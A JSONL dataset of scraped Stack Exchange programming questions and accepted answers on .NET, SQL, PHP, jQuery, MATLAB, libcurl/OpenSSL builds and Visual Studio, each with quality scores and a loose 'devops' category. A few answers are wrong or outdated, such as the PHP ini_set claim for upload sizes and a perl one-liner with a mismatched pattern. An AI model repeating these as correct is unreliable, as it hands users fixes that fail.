{"id": "hf_b0b1bd63a82c", "question": "<p>How do I make my application always use English when displaying win32/.net exceptions messages?</p>\n\n<p>I got this message, it looks like someone used babelfish to translate it (it's Swedish):\n\"System.ComponentModel.Win32Exception: Programmet kunde inte starta eftersom programmets sida-vid-sidakonfiguration är felaktig.\"</p>\n\n<p>Extremely unhelpful, and Google had a whopping 4 hits for it, none of them helpful.\nSo I have to guess what the original message was and google that. (It's was: \"The application has failed to start because its side-by-side configuration is incorrect.\")</p>\n\n<p>This time it was fairly simple to find out what the original error message was, having the message in English from the start would of course save me time.</p>\n\n<p>So how do I do that?</p>\n", "question_body": "", "answer": "You can try setting\n```\nThread.CurrentThread.CurrentUICulture\n```\nand/or\n```\n.CurrentCulture\n```\nto\n```\nCultureInfo(\"en-US\")\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.274986"}
{"id": "hf_26458fb9d877", "question": "<p>I can write a trivial script to do this but in my ongoing quest to get more familliar with unix I'd like to learn efficient methods using built in commands instead.</p>\n\n<p>I need to deal with very large files that have a variable number of header lines. the last header line consists of the text 'LastHeaderLine'. I wish to output everything after this line. (I'm not worried about false positive matches.)</p>\n", "question_body": "", "answer": "Using sed:\n```\n```\nsed -ne '/LastHeaderLine/,$p' <inputfile\n```\n```\nwill match everything from the regex match to the end of the file. 'p' prints the lines that match.\nEdit:\nOn second thought, you don't want to print the line matching LastHeaderLine. This is difficult to do with sed. In perl, you could do the following:\n```\n```\nperl -ne 'if ($flag) {print;} if (/LastHeaderFile/) {$flag=1;}' <inputfile\n```\n```\nThis would print only lines strictly following the regex match.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.334272"}
{"id": "hf_e86a300934f4", "question": "<p>When I <kbd>Alt</kbd>+<kbd>Tab</kbd> to my VM from my host the VM does not get keyboard input until I click inside it.  This is causing me an issue as it looks like the VM has control of the input (as the cursor is flashing away).  If while in this state, VMWare server has the focus rather then the application inside it, if you do <kbd>ctrl</kbd>+<kbd>Z</kbd> (normally for undo) it <strong>suspends</strong> the VM.</p>\n\n<p>This is driving me barmey.  I have looked through all the options and preferences in VMWare Server and can't find anyway to disable this.</p>\n\n<p>Anyone know how to disable this?</p>\n", "question_body": "", "answer": "You could use a resource editor on\n```\nvmware.exe\n```\nto remove the keybinding for\nCtrl\n+\nZ\n.  Obviously not for the faint of heart.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.396736"}
{"id": "hf_1a7f9a70e347", "question": "<p>Not too long ago, I had a problem which required me to <a href=\"https://stackoverflow.com/questions/186237/program-only-crashes-as-release-build-how-to-debug\">set WinDbg.exe as the default post-mortem debugger</a>.  Now that I've fixed that and am back doing normal work, it would be really nice if I could set VS to be my default post-mortem debugger.  How does one go about doing this?</p>\n\n<p>Also, how do I make VS attach to an already existing session?  That is, I've got my VS project open in one window, and a command line open where I'm launching my program from.  If the program crashes, how do I get VS to figure out to attach the debugger to the active line in the project that's already open?</p>\n", "question_body": "", "answer": "from the\nMicrosoft support page\n:\n```\n```\n1.  Start Registry Editor and locate the following Registry subkey in the HKEY_LOCAL_MACHINE subtree:\n\n\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\AEDEBUG\n2.  Select the Debugger value.\n3.  On the Edit menu, click String.\n\n•   To use the Windows debugger, type windbg -p %ld -e %ld.\n•   To use Visual C++ 4.2 or earlier, type msvc -p %ld -e %ld.\n•   To use Visual C++ 5.0 or later, type msdev.exe -p %ld -e %ld.\n•   To use Dr. Watson, type drwtsn32.exe -p %ld -e %ld. You can also make Dr. Watson the default debugger by running this command:drwtsn32.exe -i.\n4.  Choose OK and exit Registry Editor.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.423077"}
{"id": "hf_c33516a3825e", "question": "<p>what is the best way to put a container class or a some other class inside a class as private or a public member?</p>\n\n<p>Requirements:</p>\n\n<p>1.Vector&lt; someclass> inside my class</p>\n\n<p>2.Add and count of vector is needed interface</p>\n", "question_body": "", "answer": "Whether a member is declared Private or Public depends entirely on your application. Could you give some more detail?\nOne important point to remember when declaring your member is that if you provide a \"getter\" to retrieve it, then you are no longer encapsulating that object. Instead, it can be good to write wrapper methods exposing only the functionality you wish to expose.\nFor example, with a Vector member, you might write an AddItem and Clear method, if that's all the functionality you wish to expose.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.495483"}
{"id": "hf_d98a84e0a598", "question": "<p>I'm using the jquery library to load the content of an html file. Something like this:</p>\n\n<p>$(\"#Main\").load(\"login.html\")</p>\n\n<p>If the file (in this case 'login.html') does not exist, I would like to detect it so that I can redirect the user to an error page for example. Any ideas how I can detect if the file to load exists or not?</p>\n", "question_body": "", "answer": "You can use the ajaxComplete event, whis gives you access to the xhr object which you can query the status of the request e.g a status of 404 will mean the file does not exist.\nMore Info in the docs\nhttp://docs.jquery.com/Ajax/ajaxComplete#callback\nTest here\nhttp://pastebin.me/48f32a74927bb\ne.g\n```\n```\n$(\"#someDivId\").ajaxComplete(function(request, settings){\n    if (settings.status===404){\n        //redirect here\n    }\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.569071"}
{"id": "hf_7e54c55edf0a", "question": "<p>We are attempting to install BizTalk Server 2006 R2 on a fresh server with x64 Windows 2008. The basic configuration is complaining that the “Default Web Site” we select for the BAM Portal installation is not validated due to “IIS is not 32-bit enabled.” Despite setting the appPool (Classic mode) 32-bit property to True, BizTalk configuration wizard is still complaining.</p>\n\n<p>Has anybody successfully installed BAM Portal in 64-bit IIS 7.0?</p>\n", "question_body": "", "answer": "It looks like Microsoft’s official statement is Biztalk Server 2006 R2 with Windows 2008 is “not supported”. BizTalk Server 2009 is the one that is meant to be married to Windows 2008.\nUPDATE, MOFE INFO\nI should additionally comment that the process of\nsetting up a multiple servers for a BizTalk Group\nrequires configuration of network COM+ and DTC access, of which Windows 2008 interface of doing so differs from Windows 2003. In fact, I haven't found how to configure MSDTC in Windows 2008 as required by BizTalk 2006. Failing to properly configure this will prevent some of the databases from being created properly in a remote SQL Server due to transactional failure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.592855"}
{"id": "hf_e34ac0ca41b3", "question": "<p>I have a .net application and i published in the local location. while installing from the published location the application need to install in \"c:\\temp\" how can i do this in clickonce method?</p>\n", "question_body": "", "answer": "ClickOnce installation always installs in the predefined user folders, the ClickOnce cache.\nThere is no way to install a ClickOnce program somewhere else. Neither can you decide on a different location on creation of the ClickOnce package, nor can the person installing the program decide on a different location.\nThis is not an omission, neither an error, it is by design and it is meant to be that way.\nIf you want to install in a specific location, you'll need to use some other installation method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.616451"}
{"id": "hf_010e0b404599", "question": "<p>I want to split a command line like string in single string parameters. How look the regular expression for it. The problem are that the parameters can be quoted. For example like:</p>\n\n<p>\"param 1\" param2 \"param 3\"</p>\n\n<p>should result in:</p>\n\n<p>param 1, param2, param 3</p>\n", "question_body": "", "answer": "Without regard to implementation language, your regex might look something like this:\n```\n```\n(\"[^\"]*\"|[^\"]+)(\\s+|$)\n```\n```\nThe first part\n```\n\"[^\"]*\"\n```\nlooks for a quoted string that doesn't contain embedded quotes, and the second part\n```\n[^\"]+\n```\nlooks for a sequence of non-quote characters. The\n```\n\\s+\n```\nmatches a separating sequence of spaces, and\n```\n$\n```\nmatches the end of the string.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.640115"}
{"id": "hf_ed4ace91dab1", "question": "<p>I came across this class while reading a C# book and have some questions.</p>\n\n<ul>\n<li>Why is this added into System.Linq namespace and not into usuall Collections namespace?</li>\n<li>What the intention behind this class is</li>\n<li>Why this class is not intended for direct instantiation? This is available through the ToLookup extension only, right?</li>\n</ul>\n", "question_body": "", "answer": "Purpose of the class: a dictionary where a key can map to multiple values. Think of it as being for grouping rather than one-to-one mapping.\nOnly through ToLookup decision: Pass. Again, seems like a bad call to me. On the other hand, it means that the result is immutable to the outside world, which is quite nice. It's quite easy to write your own collection which supports this, of course - but it would be have been quite nice to have it in the collections \"properly\". My guess is that MS didn't have the time/money to go through the pretty rigorous design/test required to make it a first class collections decision.\nNamespace decision: Probably related to the above. Having a version in System.Collections.Generic which you couldn't create yourself would have been a bit odd.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.663778"}
{"id": "hf_b9dd2154f4ef", "question": "<p>Given a table (mytable) containing a numeric field (mynum), how would one go about writing an SQL query which summarizes the table's data based on ranges of values in that field rather than each distinct value?</p>\n\n<p>For the sake of a more concrete example, let's make it intervals of 3 and just \"summarize\" with a count(*), such that the results tell the number of rows where mynum is 0-2.99, the number of rows where it's 3-5.99, where it's 6-8.99, etc.</p>\n", "question_body": "", "answer": "The idea is to compute some function of the field that has constant value within each group you want:\n```\n```\nselect count(*), round(mynum/3.0) foo from mytable group by foo;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.741010"}
{"id": "hf_7946cb7708e0", "question": "<p>How can I unset variable? For example, PHP has an <code>unset($var)</code> function.</p>\n", "question_body": "", "answer": "You can't. There's no notion of \"unsetting\" a variable. You can set it to a different value - 0, null, whatever's appropriate. Instance/static variables don't even have a concept of whether the variable is set/unset, and local variables only have \"definitely assigned\" or \"not definitely assigned\".\nWhat is it you're trying to achieve?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.790117"}
{"id": "hf_38e9648922e4", "question": "<p>On occasion, my local Rails app loses its connection to MySQL. I get some error that the connection failed, but if I just refresh the page, it works fine. This has never happpened in my STAGE or PROD environments (I deploy to Ubuntu), so it has not been that big a deal.<br>\nDoes this happen to anybody else?  Is there something I can do to fix it?  Is it MySQL or Ruby?</p>\n", "question_body": "", "answer": "Look like the best solution to this is to install the platform specific mysql driver.\n```\nsudo gem install mysql\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.814105"}
{"id": "hf_48dab5329a11", "question": "<p>What would you recommend to search a sql server table (varchar(max) column) for a term?</p>\n\n<p>Let's say, like in ebay, if you search for \"wii brand new\", you get results like \"Brand New Nintendo Wii Fit Game + Balance Board Bundle\", \"Wii Fit (Wii) BRAND NEW WII FIT GAME + BALANCE BOARD\".</p>\n\n<p>I think it basically searches every word and returns the ones that contains all the words, what would you recommend?</p>\n", "question_body": "", "answer": "You are looking for fulltext indexing, it allows you to do more advanced querying than regular expressions or like.\nCheck\nthis\narticle for a quick introduction, the instructions are for SQL Server 2000, where it is a little harder to setup than in 2005 or 2008.\nRelevant quote:\n```\nWith full-text searching, you can perform many other types of search:\n\n * Two words near each other\n * Any word derived from a particular root (for example run, ran, or running)\n * Multiple words with distinct weightings\n * A word or phrase close to the search word or phrase\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.838766"}
{"id": "hf_fa6357628076", "question": "<p>I have a products table that contains a FK for a category, the Categories table is created in a way that each category can have a parent category, example:</p>\n\n<pre><code>Computers\n    Processors\n        Intel\n            Pentium\n            Core 2 Duo\n        AMD\n            Athlon\n</code></pre>\n\n<p>I need to make a select query that if the selected category is Processors, it will return products that is in Intel, Pentium, Core 2 Duo, Amd, etc...</p>\n\n<p>I thought about creating some sort of \"cache\" that will store all the categories in the hierarchy for every category in the db and include the \"IN\" in the where clause. Is this the best solution?</p>\n", "question_body": "", "answer": "I have done similar things in the past, first querying for the category ids, then querying for the products \"IN\" those categories. Getting the categories is the hard bit, and you have a few options:\nIf the level of nesting of categories is known or you can find an upper bound: Build a horrible-looking SELECT with lots of JOINs. This is fast, but ugly and you need to set a limit on the levels of the hierarchy.\nIf you have a relatively small number of total categories, query them all (just ids, parents), collect the ids of the ones you care about, and do a SELECT....IN for the products. This was the appropriate option for me.\nQuery up/down the hierarchy using a series of SELECTs. Simple, but relatively slow.\nI believe recent versions of SQLServer have some support for recursive queries, but haven't used them myself.\nStored procedures can help if you don't want to do this app-side.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.924504"}
{"id": "hf_9d619e3b2fb0", "question": "<p>I am creating a Visual Studio Setup project. I want to un-install another component from the system from the install of my component. The other component is installed from my own setup created using Visual Studio.</p>\n\n<p>Currently when I am calling the un-install of the other component from the install action of the component I get the error code: <code>1618 (another MSI already running)</code>.</p>\n\n<p>Could anyone suggest me an alternative way to solve this problem?</p>\n", "question_body": "", "answer": "If you don't need to actually run the uninstall of the other component, you could use a Custom Action to remove files/folders you intend to replace.\nUsing a Custom Action will force you to do all the clean up actions the Uninstaller would do for you.\nIs it that you're replacing something or are you just trying to uninstall something as a result of installing something entirely different?\nMSDN Custom Action Walkthrough\nI have also read a few articles from Phil Wilson that have been helpful with Custom Actions:\nPhil Wilson on Custom Actions", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.949284"}
{"id": "hf_d6710f3308f8", "question": "<p>Does anyone know where I can find a library of common but difficult (out of the ordinary) SQL script examples. I am talking about those examples you cannot find in the documentation but do need very often to accomplish tasks such as finding duplicates etc.</p>\n\n<p>It would be a big time saver to have something like that handy.</p>\n\n<p>EDIT: Thanks everyone, I think this is turning into a great quick reference. The more descriptive the more effective it would be, so please if you see your way open - please edit and add some descriptions of what one could find. Many thanks to those that have already done so!</p>\n", "question_body": "", "answer": "Here are a few that I find very useful:\nSQL Server Best Practices\n- Microsoft SQL Server White Papers and Best Practices\nvyaskn\n- A mixture of articles From DBA to Developer\nBackup, Integrity Check and Index\nOptimization\nSQLServerCentral Scripts\n- Scripts for most most DBA tasks and more\nScript Repository: SQL Server 2005\n- TechNet Script Center\nScripts and Tools for Performance Tuning and Troubleshooting SQL Server 2005\nSQL Server Query Processing Team\n- Hardcore advice from the MS SQL optimisation team\nCommon Solutions for T-SQL Problems\nDavide Mauri's Index Scripts", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.973741"}
{"id": "hf_bb326400eb8d", "question": "<p>I only just recently discovered that Visual C++ 2008 (and perhaps earlier versions as well?) supports <code>for each</code> syntax on stl lists et al to facilitate iteration.\nFor example:</p>\n\n<pre><code>list&lt;Object&gt; myList;\n\nfor each (Object o in myList)\n{\n  o.foo();\n}\n</code></pre>\n\n<p>I was very happy to discover it, but I'm concerned about portability for the dreaded day when someone decides I need to be able to compile my code in say, gcc or some other compiler. Is this syntax widely supported and can I use it without worrying about portability issues?</p>\n", "question_body": "", "answer": "For each is not standard C or C++ syntax. If you want to be able to compile this code in gcc or g++, you will need to create an iterator and use a standard for loop.\nQuantumPete\n[edit]\nThis seems to be a new feature introduced into MS Visual C++, so this is definitely not portable. Ref:\nhttp://msdn.microsoft.com/en-us/library/xey702bw%28VS.80%29.aspx\n[/edit]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.011090"}
{"id": "hf_6dd42eff1a71", "question": "<p>I am dealing with MySQL tables that are essentially results of raytracing simulations on a simulated office room with a single venetian blind. I usually need to retrieve the simulation's result for a unique combination of time and blind's settings. So I end up doing a lot of</p>\n\n<pre><code>SELECT result FROM results WHERE timestamp='2005-05-05 12:30:25' \\\n         AND opening=40 AND slatangle=60\n</code></pre>\n\n<p>This looks suspiciously optimizable, since this query should never ever return more than one row. Does it make sense to define an index on the three columns that uniquely identify each row? Or are there other techniques I can use?</p>\n", "question_body": "", "answer": "The answer is most definately a yes. If you define a unique index on timestamp, opening and slatangle MySQL should be able to find your row with very few disc seeks.\nYou might experiment with creating an index on timestamp, opening, slateangle and result. MySQL may be able to fetch your data from the index without touching the datafile at all.\nThe MySQL Manual has a\nsection about optimzing queries\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.060596"}
{"id": "hf_8febf8bea6a1", "question": "<p>I want to create a bundle from an arbitrary bundle identifier<br>\ne.g. <code>com.apple.iokit.IOStorageFamily</code>  </p>\n\n<p>It's not an unreasonable thing to do as bundle IDs are supposed<br>\nto be unique, however the obvious code does not work:</p>\n\n<pre><code>NSString* bID = @\"com.apple.iokit.IOStorageFamily\";\nNSBundle* bundle = [NSBundle bundleWithIdentifier:bID];\n</code></pre>\n\n<p>This code only works for bundles you've already loaded<br>\n(hello, chicken and egg problem), and in fact, you have<br>\nto know a little more than you'd like about the the identifier<br>\nbefore you can do anything. For the above style of ID<br>\nI grep out the final component and tranform it into<br>\n<code>/System/Library/Extensions/IOStorageFamily.kext</code><br>\nwhich I then load by path. </p>\n\n<p>Is this the state of the art or is there a more general way? </p>\n", "question_body": "", "answer": "Use this\n```\n```\nNSString *path = [[NSWorkspace sharedWorkspace] absolutePathForAppBundleWithIdentifier:@\"com.apple.TextEdit\"];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.085132"}
{"id": "hf_21827c1fa7bc", "question": "<p>Is there a way to describe the module's data in a similar way that a docstring describes a module or a funcion?</p>\n\n<pre><code>class MyClass(object):\n    def my_function():\n        \"\"\"This docstring works!\"\"\"\n        return True\n    my_list = []\n    \"\"\"This docstring does not work!\"\"\"\n</code></pre>\n", "question_body": "", "answer": "To my knowledge, it is not possible to assign docstrings to module data members.\nPEP 224\nsuggests this feature, but the PEP was rejected.\nI suggest you document the data members of a module in the module's docstring:\n```\n```\n# module.py:\n\"\"\"About the module.\n\nmodule.data: contains the word \"spam\"\n\n\"\"\"\n\ndata = \"spam\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.109616"}
{"id": "hf_aac052af81ea", "question": "<p>I am developing a CMS where the clients will need to upload files larger than 2mb - up to 10mb at least. I have changed the details in the php.ini file and I cannot see anywhere else that the problem might be. Any help?</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "As long as you have restarted your web service (ie apache) then the changes  should take  effect, however if you are developing for anyone other then yourself then instead of changing the php.ini I would add this to the upload script:\n```\n```\nini_set('upload_max_filesize', '10M');\n```\n```\nas some people may not be able to modify php.ini this will change it just for the page it is on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.170521"}
{"id": "hf_ee6a44965ea7", "question": "<p>I'm a new user of Matlab, can you please help:<br>\nI have the following code in an .M file:</p>\n\n<pre><code>function f = divrat(w, C)\nS=sqrt(diag(diag(C)));\ns=diag(S);\nf=sqrt(w'*C*w)/(w'*s);\n</code></pre>\n\n<p>I have stored this file (divrat.M) in the normal Matlab path, and therefore I'm assuming that Matlab will read the function when it's starting and that this function therefore should be available to use.</p>\n\n<p>However, when I type</p>\n\n<pre><code>&gt;&gt; divrat(w, C)\n</code></pre>\n\n<p>I get the following error</p>\n\n<blockquote>\n  <p>??? Undefined function or method 'divrat' for input arguments of type 'double'.  </p>\n</blockquote>\n\n<p>What is the error message telling me to do, I can't see any error in the code or the function call?</p>\n", "question_body": "", "answer": "The error code indicates the function definition cannot be found. Make sure you're calling the function from the same workspace as the\n```\ndivrat.m\n```\nfile is stored. And make sure\n```\ndivrat\n```\nfunction is not a subfunction, it should be first function declaration in the file. You can also try to call the function from the same\n```\ndivrat.m\n```\nfile in order to see if the problem is with workspace selection or the function.\nBy the way, why didn't you simply say\n```\n```\ns = sqrt(diag(C));\n```\n```\nWouldn't it be the same?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.195826"}
{"id": "hf_a4cd87206649", "question": "<p>I'm using libcurl in a Win32 C++ application.</p>\n\n<p>I have the curllib.vcproj project added to my solution and set my other projects to depend on it.</p>\n\n<p>How do I build it with SSL support enabled?</p>\n", "question_body": "", "answer": "Well, since this post failed badly, I had to dig into the matter myself.\nAlso check out the other answers and comments for additional info regarding other versions etc.\nEDIT: Since I posted this Q there seems to be ready-built binaries made available from the curl homepage. Check out\nJames' answer\n.\nSo here goes:\n-\nPreprocessor\nThe following two symbols need to be fed to the preprocessor to enable SSL for libcurl:\n```\n```\nUSE_SSLEAY\nUSE_OPENSSL\n```\n```\n(libcurl uses OpenSSL for SSL support)\nAlternatively the symbols can be added directly to a file called setup.h in libcurl, but I'm not too happy about modifying code in 3rd party distributions unless I really have to.\nRebuilding the libcurl library, I now got some errors about OpenSSL include files not being found. Naturally, since I haven't set up the OpenSSL distribution properly yet.\nCompiling OpenSSL binaries\nI downloaded the OpenSSL 0.9.8 source distribution and unpacked it.\nIn the root of the source distribution there's a file called INSTALL.W32 which describes how to compile the OpenSSL binaries. The build chain requires perl, so I installed the latest version of ActivePerl.\nI had some trouble with the build, which might not be applicable to all systems, but I'll go through it here in case somebody experiences the same.\nAccording to INSTALL.W32:\nRun the following commandline tasks with current directory set to the source distribution root:\n```\n```\n1> perl Configure VC-WIN32 --prefix=c:/some/openssl/dir\n```\n```\n(Where \"c:/some/openssl/dir\" should be replaced by the dir where OpenSSL should be installed. Don't use spaces in this path. The compilation further ahead will fail in that case)\n```\n```\n2> ms\\do_ms\n```\n```\nFor me this step was unsuccessful at first, since I lacked the environment variables OSVERSION and TARGETCPU. I set these to\n5.1.2600\nand\nx86\nrespectively. You may get complaint about OSVERSION being \"insane\", but look closer, this error is for WinCE and doesn't affect the Win32 setup. To get hold of your OS version, run the 'ver' command from a command prompt or run winver.exe.\n```\n```\n3> nmake -f ms\\nt.mak (for static library)\n```\n```\nor\n```\n```\n3> nmake -f ms\\ntdll.mak (for DLL)\n```\n```\nThe source now compiles. Took approx 5 minutes on my laptop.\nWhen compilation is completed, the libs or binaries have been placed in:\ndistroot/out32\n- for static library build\nor\ndistroot/out32dll\n- for DLL build\nBuilding and linking\nNow, back to visual studio and point out the libs and include path for headers. The include files are located in\ndistroot/inc32/openssl\n.\nRemember to add\nlibeay32.lib\nand\nssleay32.lib\nas linker input.\nRebuild the libcurl project.\nError!\nWell at least for me with this version of OpenSSL. \nit complained about a struct typedef in one of the OpenSSL headers. I couldn't find any info on this. After an hour of googling I broke my own principle and commented out the typedef from the OpenSSL header, and luckily libcurl wasn't using that symbol so it built fine.\nUpdate: As pointed out by Jason, this issue seems to have dissapeared as of version 1.0.0a.\nNow, for confirming that SSL support is enabled for libcurl, run the following code:\n```\n```\ncurl_version_info_data * vinfo = curl_version_info( CURLVERSION_NOW );\nif( vinfo->features & CURL_VERSION_SSL )\n    // SSL support enabled\nelse\n    // No SSL\n```\n```\nSimple as that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.223562"}
{"id": "hf_7d9c18adfd7a", "question": "<p>Someone asked me how familiar I am with VC++ and how familiar I am with C++.  What is the difference?</p>\n", "question_body": "", "answer": "C++ is the actual language, VC++ is Microsoft's Visual C++, an IDE for C++ development.\nFrom\nstason.org\n:\nC++ is the programming language, Visual C++ is Microsoft's implementation of it.\nWhen people talk about learning Visual C++, it usually has more to do with learning how to use the programming environment, and how to use the Microsoft Foundation Classes (MFCs) for Windows rather than any language issues. Visual C++ can and will compile straight C and C++.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.285285"}
{"id": "hf_40ed6d195146", "question": "<p>What's the best/easiest to integrate templating system for PHP, and what are the benefits of using one?</p>\n\n<p>I currently don't use one at all, and am thinking that it might help to seperate content from presentation a little more. </p>\n", "question_body": "", "answer": "Smarty\nI've found it to be fast, easy to use, and easy to install (even in a shared-hosting environment).  It also doesn't require that you use validating XHTML which is handy sometimes (although I think the template engines that\ndo\nrequire valid XHTML are probably faster.)\nIt's really nice to have your content in one place and code somewhere else.\nPlus you're not limited to just HTML.  I've used Smarty to generate\nXML\nand even\nSQL\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.309904"}
{"id": "hf_7f353f3b3128", "question": "<p>I'm just starting up a new ATL/WTL project and I was wondering if the global _Module variable is still required? </p>\n\n<p>Back a few years when I started working with WTL it was required (at least for ATL 3.0) that you define a global variable such as:</p>\n\n<pre><code>CAppModule _Module;\n</code></pre>\n\n<p>To get ATL to work correctly. But recently I've read somewhere that this may not be required anymore (yet the wizard generated code still uses it). Also I did a search through the Visual C++ include directories and it only picked up _Module in a few places - most notably the ATL COM registry stuff.</p>\n\n<p>So do I still need to define a global variable to use ATL these days?</p>\n", "question_body": "", "answer": "In the sample projects of the latest WTL version, this is still used.\nIn stdafx.h:\n```\n```\nextern CAppModule _Module;\n```\n```\nIn implementation files:\n```\n```\nCAppModule _Module;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:37.334876"}
